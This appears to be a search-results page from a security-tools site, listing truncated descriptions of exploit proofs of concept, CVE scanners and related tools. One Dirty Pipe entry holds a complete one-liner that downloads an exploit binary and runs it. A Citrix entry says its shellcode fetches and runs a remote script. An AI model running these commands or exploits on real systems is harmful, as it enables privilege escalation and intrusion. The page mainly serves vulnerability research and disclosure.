32883 matches found
binfinder
binfinder Encuentra archivos binarios no instalados a travΓ©s del gestor de paquetes Prerrequisitos Software versiΓ³n de go = 1.12 versiΓ³n de docker = 19 CΓ³mo compilar y ejecutar binfinder Compilar root@kitploit: $ make build Una vez que la compilaciΓ³n estΓ© completa, puede ejecutar bindfinder...
Routeglass
Routeglass - Herramienta de fingerprinting de alta velocidad para routers y dispositivos de red Routeglass es una herramienta rΓ‘pida y multiproceso de fingerprinting de routers escrita en Go. El objetivo del proyecto es simple: identificar routers, firewalls, pasarelas y dispositivos de red...
xz
xz β distribuciΓ³n binaria portΓ‘til xz-utils vendored @ 5.8.3 post-CVE-2024-3094 β distribuciΓ³n binaria portΓ‘til para el ecosistema de paquetes x-cmd. InstalaciΓ³n root@kitploit: macOS / Linux anywhere with x: x eget x-cmd-build/xz --to /usr/local/bin/xz Manual: 1. Go to...
CVE-2023-33246
CVE-2023-33246 CVE-2023-33246: herramienta de detecciΓ³n de la vulnerabilidad de ejecuciΓ³n remota de comandos en Apache RocketMQ Funciones de la herramienta Uso sencillo Ejecute ./apacherocketmqcve202333246scannerlinuxamd64 scan La salida muestra si existe la vulnerabilidad: si aparece ζ― sΓ o...
CVE-2022-47952
DescripciΓ³n sugerida lxc-user-nic en lxc hasta 5.0.1 se instala con setuid root, y puede permitir a usuarios locales inferir si existe algΓΊn archivo, incluso dentro de un Γ‘rbol de directorios protegido, porque "Failed to open" a menudo indica que un archivo no existe, mientras que "does not refer...
CVE-2023-31443
CVE-2023-31443 nordugrid-arc-wn 6.14.0 DoS/LPE. DescripciΓ³n sugerida NorduGrid nordugrid-arc-wn 6.14.0 tiene el binario SUID arc-job-cgroup que es vulnerable a un ataque de recorrido de rutas. Combinado con una condiciΓ³n de carrera, el atacante puede escribir el ppid en cualquier archivo siempre...
CVE-2024-44083
CVE-2024-44083 the original PoC repos got deleted github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme so here it is. figured id recreate it for anyone who wants to understand how it works or test their setup. IDA Pro β€ 8.4 crashes when analyzing binaries with excessive jump chains. th...
CVE-2016-5195
CVE-2016-5195 CVE-2016-5195 dirty cow/dirtycow/dirtyc0w prueba de concepto para Android Este repositorio demuestra la vulnerabilidad en dispositivos Android vulnerables conectados mediante ADB. No desactiva SELinux ver https://github.com/timwr/CVE-2016-5195/issues/9 ni instala superusuario en el...
CVE-2020-0796
CVE-2020-0796 Exploit de Coronablue Tras la extracciΓ³n, el exploit compilado estarΓ‘ en la carpeta CVE-2020-0796-master\CVE-2020-0796\x64\Release\cve-2020-0796-local.exe...
Holistic-Deconstruction-of-CVE-2019-5736-
= doi.org/10.5281/zenodo.18304765 = orcid.org/0009-0007-7728-256X README.md π CVE-2019-5736: runc Container Breakout Deconstruction Advanced Purple Teaming & Forensic Analysis of Host Root Escape π‘οΈ Overview This repository contains a high-fidelity deconstruction and Proof-of-Concept PoC for...
CVE-2024-44346
CVE Disclosure: CVE-2024-44346 Date: 13-09-2024 Summary A vulnerability was identified in Tosibox tbsetup.exe version 4.0.0.0 , which could allow local privilege escalation . This issue has been assigned the identifier CVE-2024-44346 .The vendor has released an advisory with further details and...
cve-2019-5736-poc
CVE-2019-5736 Proof of Concept This appends a string to the host runc binary. Bring your own payload see stage2.c. To run: docker build -t cve . docker run cve strings /usr/bin/docker-runc | tail -n 2...
cve-2019-5736-poc
CVE-2019-5736 Prueba de Concepto Esto agrega una cadena al binario runc del host. Trae tu propio payload ver stage2.c. Para ejecutar: docker build -t cve . docker run cve strings /usr/bin/docker-runc | tail -n 2...
debloat
Debloat Debloat is a GUI and CLI tool to remove excess garbage from bloated executables. By excess garbage, I mean 100 - 800 MB of junk bytes added to a binary to keep it from going into a sandbox. This method of adding junk is called "inflating" or "pumping" a binary. Debloat currently handles t...
CVE-2025-5548
Vulnerability Analysis and Exploitation Methodology Author: Anas Rami Module 6: Vulnerabilities - Master in Cybersecurity Objective: Technical proposal on vulnerability analysis, exploit development, and approach to 0-days, documenting the laboratory environment and practical cases. 1...
-Netdata-PrivEsc-CVE-2024-32019
CVE-2024-32019-Netdata-ndsudo-PrivEsc CVE-2024-32019: Netdata ndsudo PrivEsc HTB Editor Automated Bash script to exploit the PATH Hijacking vulnerability in Netdata's SUID ndsudo binary CVE-2024-32019. This exploit was specifically adapted to overcome common restrictions found in hardened...
CVE-2026-49009
root@kitploit: ββββββ ββ ββ ββββββ βββββ ββββ βββββ ββββββ ββ ββ ββββββ ββββ ββββ ββββββ ββ ββββββ ββββ βββ ββββ ββ ββ ββββ βββββ βββ ββββββ βββββ ββ ββ ββ ββ βββββ ββββββ ββββ ββββββ βββββ ββββ βββββ ββββββ ββ βββββ ββββ ββββ βββββ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ...
CVE-2023-3519
Citrix ADC RCE CVE-2023-3519 This exploit uses addresses and shellcode for Citrix VPX 13.1-48.47. For the full writeup, click here. Usage NASM is required to build the shellcode. root@kitploit: $ sudo apt install nasm The included shellcode will download and run a shell script from a remote https...
CVE-2022-0847-Dirty-Pipe
Oneline Exploit CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...
CVE-2026-43494-PinTheft-PoC
SLEY β PinTheft PoC CVE-2026-43494 Proof of concept β uid=1000raken β uid=0root after ./sley on WSL2 6.6.87.2-microsoft-standard-WSL2 Single-file proof-of-concept for CVE-2026-43494 PinTheft: a Linux kernel local privilege escalation that chains an RDS zerocopy reference-count bug with iouring...